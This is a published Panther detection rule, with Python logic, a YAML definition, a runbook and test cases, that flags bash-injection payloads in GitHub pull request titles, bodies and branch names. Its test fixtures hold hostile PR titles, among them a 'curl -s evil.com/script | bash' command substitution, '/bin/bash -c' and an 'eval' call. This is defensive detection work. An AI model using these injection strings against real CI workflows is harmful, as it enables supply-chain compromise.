GitHub Malicious Pull Request Content


Description

Detects malicious patterns in GitHub pull request content (title, body, head ref, head label, default branch) that could indicate bash injection attempts or other malicious activity. This rule is designed to catch attacks like the Nx vulnerability (GHSA-cxm3-wv7p-598c) where PR titles contained bash injection payloads that could be executed by vulnerable CI workflows. Lower severity for PRs that are not cross-fork.

Query · python

from panther_github_helpers import (
    contains_bash_injection_pattern,
    get_matched_bash_patterns,
    github_reference_url,
    github_webhook_alert_context,
    is_cross_fork_pr,
    is_pull_request_event,
)


def rule(event):
    if not is_pull_request_event(event) or event.deep_get("action") != "opened":
        return False

    # Check all untrusted PR-related inputs
    fields_to_check = [
        event.deep_get("pull_request", "title"),
        event.deep_get("pull_request", "body"),
        event.deep_get("pull_request", "head", "ref"),
        event.deep_get("pull_request", "head", "label"),
        event.deep_get("pull_request", "head", "repo", "default_branch"),
    ]

    for field in fields_to_check:
        if contains_bash_injection_pattern(field):
            return True

    return False


def title(event):
    pr_number = event.deep_get("pull_request", "number", default="<UNKNOWN>")
    repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
    action = event.get("action", "<UNKNOWN_ACTION>")

    return f"Malicious pattern detected in PR #{pr_number} in {repo_name} ({action})"


def alert_context(event):
    context = github_webhook_alert_context(event)

    # Analyze patterns found in all PR fields
    pr_fields = {
        "title": event.deep_get("pull_request", "title"),
        "body": event.deep_get("pull_request", "body"),
        "head_ref": event.deep_get("pull_request", "head", "ref"),
        "head_label": event.deep_get("pull_request", "head", "label"),
        "head_repo_default_branch": event.deep_get(
            "pull_request", "head", "repo", "default_branch"
        ),
    }

    context["field_analysis"] = {}
    for field_name, field_value in pr_fields.items():
        patterns = get_matched_bash_patterns(field_value)
        if patterns:
            context["field_analysis"][field_name] = {
                "value": field_value,
                "matched_patterns": patterns,
            }

    return context


def reference(event):
    if reference_url := github_reference_url(event):
        return reference_url

    return "DEFAULT"


def severity(event):
    if is_cross_fork_pr(event):
        return "DEFAULT"

    return "LOW"

Analyst notes

  1. Immediately review the pull request content and metadata for malicious patterns
  2. Check if the repository has workflows that process PR titles or descriptions unsafely
  3. Verify the identity and legitimacy of the PR author, especially for cross-fork PRs
  4. Review recent workflow runs for signs of code execution or compromise
  5. Check for any unusual repository activity or file modifications
  6. Consider temporarily disabling vulnerable workflows until they can be secured
  7. Implement input sanitization and use pull_request instead of pull_request_target
  8. Report suspected supply chain attacks to security team
Raw source GitHub Malicious Pull Request Content · Panther Python
Esc
Published by panther-labs/panther-analysis ↗, licensed under Apache 2.0 ↗. Reproduced here unmodified.
AnalysisType: rule
Filename: github_malicious_pr_titles.py
RuleID: "GitHub.Webhook.MaliciousPRTitles"
DisplayName: "GitHub Malicious Pull Request Content"
Enabled: true
LogTypes:
  - GitHub.Webhook
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0002:T1072  # Execution: Software Deployment Tools
Tags:
  - Code Injection
  - Supply Chain
Severity: High
Description: >
  Detects malicious patterns in GitHub pull request content (title, body, head ref, head label,
  default branch) that could indicate bash injection attempts or other malicious activity.
  This rule is designed to catch attacks like the Nx vulnerability (GHSA-cxm3-wv7p-598c) where
  PR titles contained bash injection payloads that could be executed by vulnerable CI workflows.
  Lower severity for PRs that are not cross-fork.
Runbook: |
  1. Immediately review the pull request content and metadata for malicious patterns
  2. Check if the repository has workflows that process PR titles or descriptions unsafely
  3. Verify the identity and legitimacy of the PR author, especially for cross-fork PRs
  4. Review recent workflow runs for signs of code execution or compromise
  5. Check for any unusual repository activity or file modifications
  6. Consider temporarily disabling vulnerable workflows until they can be secured
  7. Implement input sanitization and use pull_request instead of pull_request_target
  8. Report suspected supply chain attacks to security team
Reference: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c
Tests:
  - Name: PR with Command Substitution in Title
    ExpectedResult: true
    Log:
      {
        "action": "opened",
        "number": 123,
        "pull_request": {
          "id": 789456123,
          "number": 123,
          "state": "open",
          "title": "Fix build issue $(echo 'You have been compromised')",
          "body": "This PR fixes the build configuration",
          "draft": false,
          "user": {
            "login": "malicious-user",
            "id": 12345,
            "type": "User"
          },
          "head": {
            "ref": "fix-build",
            "sha": "abc123def456",
            "repo": {
              "full_name": "malicious-user/forked-repo",
              "fork": true
            }
          },
          "base": {
            "ref": "main", 
            "sha": "def456abc123",
            "repo": {
              "full_name": "target-org/main-repo",
              "fork": false
            }
          },
          "html_url": "https://github.com/target-org/main-repo/pull/123",
          "created_at": "2024-01-15T10:30:00Z"
        },
        "repository": {
          "name": "main-repo",
          "full_name": "target-org/main-repo",
          "private": false,
          "fork": false
        },
        "sender": {
          "login": "malicious-user",
          "type": "User"
        },
        "p_log_type": "GitHub.Webhook"
      }
  - Name: PR with Backtick Command Substitution
    ExpectedResult: true
    Log:
      {
        "action": "opened",
        "pull_request": {
          "number": 456,
          "title": "Update docs `curl -s evil.com/script | bash`",
          "body": "Documentation updates",
          "user": {
            "login": "attacker"
          },
          "head": {
            "repo": {
              "full_name": "attacker/repo"
            }
          },
          "base": {
            "repo": {
              "full_name": "victim-org/repo"
            }
          }
        },
        "repository": {
          "full_name": "victim-org/repo"
        },
        "p_log_type": "GitHub.Webhook"
      }
  - Name: PR with Shell Invocation
    ExpectedResult: true
    Log:
      {
        "action": "opened",
        "pull_request": {
          "number": 505,
          "title": "Update script /bin/bash -c 'malicious command'",
          "body": "Script updates"
        },
        "repository": {
          "full_name": "target/repo"
        },
        "p_log_type": "GitHub.Webhook"
      }
  - Name: Normal PR Title
    ExpectedResult: false
    Log:
      {
        "action": "opened",
        "pull_request": {
          "number": 999,
          "title": "Add new feature for user authentication",
          "body": "This PR adds OAuth support for user login",
          "user": {
            "login": "legitimate-dev"
          },
          "head": {
            "repo": {
              "full_name": "team/repo"
            }
          },
          "base": {
            "repo": {
              "full_name": "team/repo"
            }
          }
        },
        "repository": {
          "full_name": "team/repo"
        },
        "p_log_type": "GitHub.Webhook"
      }
  - Name: Non-PR Event
    ExpectedResult: false
    Log:
      {
        "action": "push",
        "ref": "refs/heads/main",
        "repository": {
          "full_name": "org/repo"
        },
        "p_log_type": "GitHub.Webhook"
      }
  - Name: PR Event Missing Pull Request Object
    ExpectedResult: false
    Log:
      {
        "action": "opened",
        "repository": {
          "full_name": "org/repo"
        },
        "p_log_type": "GitHub.Webhook"
      }
  - Name: PR with Hex Encoding Attempt
    ExpectedResult: true
    Log:
      {
        "action": "opened",
        "pull_request": {
          "number": 666,
          "title": "Update \\x2f62696e2f7368",
          "body": "Binary update"
        },
        "repository": {
          "full_name": "target/repo"
        },
        "p_log_type": "GitHub.Webhook"
      }
  - Name: PR with Eval Command
    ExpectedResult: true
    Log:
      {
        "action": "opened",
        "pull_request": {
          "number": 777,
          "title": "Config eval($malicious_code)",
          "body": "Dynamic config"
        },
        "repository": {
          "full_name": "target/repo"
        },
        "p_log_type": "GitHub.Webhook"
      }
  - Name: PR Body with Eval Command
    ExpectedResult: true
    Log:
      {
        "action": "opened",
        "pull_request": {
          "number": 777,
          "body": "Config eval($malicious_code)",
          "title": "Dynamic config"
        },
        "repository": {
          "full_name": "target/repo"
        },
        "p_log_type": "GitHub.Webhook"
      }


# ------ paired body: github_malicious_pr_titles.py ------

from panther_github_helpers import (
    contains_bash_injection_pattern,
    get_matched_bash_patterns,
    github_reference_url,
    github_webhook_alert_context,
    is_cross_fork_pr,
    is_pull_request_event,
)


def rule(event):
    if not is_pull_request_event(event) or event.deep_get("action") != "opened":
        return False

    # Check all untrusted PR-related inputs
    fields_to_check = [
        event.deep_get("pull_request", "title"),
        event.deep_get("pull_request", "body"),
        event.deep_get("pull_request", "head", "ref"),
        event.deep_get("pull_request", "head", "label"),
        event.deep_get("pull_request", "head", "repo", "default_branch"),
    ]

    for field in fields_to_check:
        if contains_bash_injection_pattern(field):
            return True

    return False


def title(event):
    pr_number = event.deep_get("pull_request", "number", default="<UNKNOWN>")
    repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
    action = event.get("action", "<UNKNOWN_ACTION>")

    return f"Malicious pattern detected in PR #{pr_number} in {repo_name} ({action})"


def alert_context(event):
    context = github_webhook_alert_context(event)

    # Analyze patterns found in all PR fields
    pr_fields = {
        "title": event.deep_get("pull_request", "title"),
        "body": event.deep_get("pull_request", "body"),
        "head_ref": event.deep_get("pull_request", "head", "ref"),
        "head_label": event.deep_get("pull_request", "head", "label"),
        "head_repo_default_branch": event.deep_get(
            "pull_request", "head", "repo", "default_branch"
        ),
    }

    context["field_analysis"] = {}
    for field_name, field_value in pr_fields.items():
        patterns = get_matched_bash_patterns(field_value)
        if patterns:
            context["field_analysis"][field_name] = {
                "value": field_value,
                "matched_patterns": patterns,
            }

    return context


def reference(event):
    if reference_url := github_reference_url(event):
        return reference_url

    return "DEFAULT"


def severity(event):
    if is_cross_fork_pr(event):
        return "DEFAULT"

    return "LOW"

Detection rules belong to the projects that publish them and remain under their own licenses. This site indexes and links to them; it claims no rights in them.